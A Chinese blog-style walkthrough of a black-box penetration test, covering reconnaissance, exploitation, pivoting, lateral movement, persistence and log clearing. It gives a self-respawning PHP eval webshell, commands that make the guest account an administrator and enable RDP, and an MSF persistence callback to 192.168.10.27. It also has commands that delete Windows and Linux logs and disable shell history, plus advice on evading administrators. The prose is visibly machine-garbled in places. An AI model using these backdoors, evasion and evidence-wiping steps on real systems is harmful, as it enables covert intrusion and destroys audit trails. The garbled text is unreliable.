渗透测试的条件是我们得经由用户的授权,才可以对网站进行渗透。
如果我们没有经由客户的授权而对一个网站进行渗透测试的话,这是违法的。
去年的6.1日我国颁布了《网络安全法》,对网络犯罪有了法律约束,不懂的移步——> 网络安全法

渗透测试分为 白盒测试 和 黑盒测试

白盒测试便是在知道目标网站源码和其他一些信息的情形下对其进行渗透,有点类似于代码剖析

phpsettimelimit渗入渗出测试 React

黑盒测试便是只见告我们这个网站的url,其他什么都不见告,然后让你去渗透,仿照黑客对网站的渗透

我们现在就仿照黑客对一个网站进行渗透测试,这属于黑盒测试,我们只知道该网站的URL,其他什么的信息都不知道。
接下来,我就给大家分享下黑盒渗透测试的流程和思路!
当我们确定好了一个目标进行渗透之后,第一步该做的是什么呢?

信息网络

第一步做的便是信息网络,正所谓心腹知彼百战百胜,我们根据网站URL可以查出一系列关于该网站的信息。
通过URL我们可以查到该网站的IP、该网站操作系统、脚本措辞、在该做事器上是否还有其他网站等等一些列的信息。

漏洞探测

当我们网络到了足够多的信息之后,我们就要开始对网站进行漏洞探测了。

探测网站是否存在一些常见的Web漏洞,比如:

SQL注入

XSS跨站脚本

CSRF跨站要求假造

XXE漏洞

SSRF做事端要求假造漏洞

文件包含漏洞

文件上传漏洞

文件解析漏洞

远程代码实行漏洞

CORS跨域资源共享漏洞

越权访问漏洞

目录浏览漏洞和任意文件读取/下载漏洞

struts2漏洞

JAVA反序列化漏洞

这些是网站常常创造的一些漏洞,还有一些网站漏洞,这里我就不一一列举出来了。

网站漏洞扫描工具也有很多,比如:

AWVS

AppScan

Owasp-Zap

Nessus

网站漏洞扫描工具我就列举这几种,还有很多,最常用的是这几个!

漏洞利用

当我们探测到了该网站存在漏洞之后,我们就要对该漏洞进行利用了。
不同的漏洞有不同的利用工具,很多时候,通过一个漏洞我们很难拿到网站的webshell,我们每每须要结合几个漏洞来拿webshell

常用的漏洞利用工具如下:

SQL注入

XSS跨站脚本

抓包改包工具

文件上传漏洞,上传漏洞的话,我们一样平常会上传一句话木立时去,进而再得到webshell。
但是得到了webshell后,一样平常权限很低,以是我们须要提权,可以选择反弹一个MSF类型的shell提权:Metasploit Framework(MSF) 、 Msfvenonm天生一个后门木马,也可以反弹一个CobaltStrike类型的shell:Cobalt Strike, 也可以MSF和CobaltStrike联动:MSF和CobaltStrike联动 也可以利用其他提权:Windows 、 Linux

内网转发

当我们获取到了网站的Webshell之后,如果我们想获取该主机的有关信息,我们可以将该主机的webshell换成MSF的shell。
直接天生一个木马,然后在菜刀中实行该木马,我们就能吸收到一个MSF类型的shell了。

如果我们还想进一步的探测内网主机的信息的话,我们就须要进行内网转发了。
我们是不能直接和内网的主机通信的,以是我们就须要借助获取到的webshell网站的做事器和内网主机进行通信。

内网横向渗透

当我们在获取了外网做事器的权限,进入该系统后,我们要想尽办法从该做事器上查找到我们想要的信息。

对付windows主机,我们该当多去翻翻目录,或许能有很多意想不到的结果。
很多人习气把账号密码等随意马虎忘的东西存放在备忘录中,或者是桌面上。
我们还可以查找数据库的连接文件,查看数据库的连接账号密码等敏感信息。
当我们得到了windows主机的账号密码,或者是自己创建了新用户后,我们为了不被网站管理员创造和不毁坏做事器。
我们只管即便不要利用远程桌面。
由于利用远程桌面动静比较大,如果此时做事器管理员也在登录,而你此时通过远程桌面登录的话,会将管理员挤掉,而你也将很快的被管理员踢掉。
对付实在是要远程桌面登录的情形的话,我们只管即便不要新建一个用户进行登录。
我们可以激活 guest 用户,然后将其加入 administrators 组里面,用 guest 用户身份登录。
在RDP远程登录后,我们可以查看其他用户桌面上和其他目录有哪些软件,我们要找的目标有以下:

FTP干系的软件

数据库干系的软件

打开浏览器,查看历史记录,查看某些网站是否保存有用户密码。
利用工具查看浏览器保存的密码,从该主机上找到的账号密码,我们可以做一个字典,在对内网其他机器进行爆破的时候,很有可能是同密码。

net user guest /active:yes #激活guest用户

net localgroup administrators guest /add #将guest用户添加到

net user guest 密码 #变动guest用户密码

REG ADD " "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f #开启3389端口

对付Linux主机,我们可以查看开放的端口号,开放的做事,与其建立连接的内网主机。
查看目录,查找网站数据库连接密码。
总之,便是尽可能的多查找一些账号密码,这对付内网的账号爆破非常有用。

在搭建了隧道可以通内网后,我们首先就须要对内网进行资产创造了。
但是对付内网存活网段的判断是一个大问题。
内网很有可能同时存在 10.0.0.0/8、172.16.0.0/16、192.168.0.0/24 网段。
这就须要我们用扫描器对其进行探测了。
通过代理进行内网扫描不建议利用nmap。
如果是在本地主机通过代理扫描,可以图形化界面的话,可以利用 RouterScan 、御剑高速TCP全端口扫描器、IIS_Scanner。
但是把稳线程调低一点,不然代理很随意马虎崩了。
如果利用命令行扫描器的话,可以利用S扫描器。
在扫描了内网资产和端口开放情形后,对付445端口,就可以打一波MS17_010。
但是把稳通过代理打445,和之前的是不一样的。
对付3389端口,可以打一波CVE-2019-0708。
对付1433/3306/6379等端口,可以考试测验爆破,利用之前网络到的账号密码成功率更高哦。

权限坚持

在拿到目标主机的权限后,很有可能当时我们并不能获取到想要的东西,须要进行长期的潜伏,特殊是在内网渗透中,须要进行长期的信息网络。
这时,权限坚持就很主要了。
我们须要坚持住得到的现有权限。

Web后门

1:隐蔽后门文件(将文件设置为隐蔽)

2:不去世马,该脚本每5秒向做事器创建test.php,并写入一句话免杀木马。
结合attrib命令隐蔽文件更好地建立后门。

<?php

set_time_limit(0);//程序实行韶光

ignore_user_abort(1);//关掉终端后脚本仍旧运行

unlink(__FILE__);//文件完全名

while(1){

file_put_contents('test.php','<?php $a=array($_REQUEST["x"]=>"3");

$b=array_keys($a)[0];

eval($b);?>');

sleep(5);

}

?>

3:404页面隐蔽后门,或者在其他自带文件中插入后门代码

注:以上几种后门方法均能被D盾等工具检测到

Windows系统

1:建立隐蔽用户,在用户名后加 $

2:在开机启动目录下放置木马文件,只要目标机器重启,将回连我们的远控

3:MSF里的 persistence 模块,实行命令可以使目标机器每隔一定韶光自动回连远控。
但是随意马虎被创造

#反弹韶光间隔是5s 会自动连接192.168.27的4444端口,缺陷是随意马虎被杀毒软件查杀

run persistence -X -i 5 -p 8888 -r 192.168.10.27

#然后它就在目标机新建了这个文件:C:\Windows\TEMP\CJzhFlNOWa.vbs ,并把该做事加入了注册表中,只要开机就会启动

4:在域环境下,想办法得到 krbtgt 用户的哈希,该用户的哈希可以进行票据通报攻击。
而且一样平常该用户的密码不常常改变。

5:shift后门

6:远程桌面会话挟制

Linux系统

1:SSH后门

2:crontab定时任务

3:SSH公钥

4:创建SUID=0的用户

痕迹打消

当我们达到了目的之后,有时候只是为了黑入网站挂黑页,炫耀一下;或者在网站留下一个后门,作为肉鸡,没事的时候上去溜达溜达;亦或者挂入挖矿木马;但是大家千万不要干这些事,这些都是违法的!

我这里只是教大家在渗透进去之后如何打消我们留下的一部分痕迹,并不能完备打消,完备打消入侵痕迹是不可能的!
紧张是增加管理员创造入侵者的韶光本钱和人力本钱。
只要管理员想查,无论你怎么打消,还是能查到的。
最紧张还是要以隐蔽自身身份为主,最好的手段是在渗透前挂上代理,然后在渗透后痕迹打消。

Windows系统

1:如果是windows系统,可用MSF中的 clearev 命令打消痕迹

2:如果3389远程登录过,须要打消mstsc痕迹

3:实行命令打消日志:

del %WINDR%\ .log /a/s/q/f

4:如果是web运用,找到web日志文件,删除

Linux系统

1:如果是Linux系统,在获取权限后,实行以下命令,不会记录输入过的命令

export HISTFILE=/dev/null export HISTSIZE=0

2:删除 /var/log 目录下的日志文件

3:如果是web运用,找到web日志文件,删除

撰写渗透测试保告

在完成了渗透测试之后,我们就须要对这次渗透测试撰写渗透测试报告了。
明确的写出哪里存在漏洞,以及漏洞修补的方法。
以便于网站管理员根据我们的渗透测试报告修补这些漏洞和风险,防止被黑客攻击!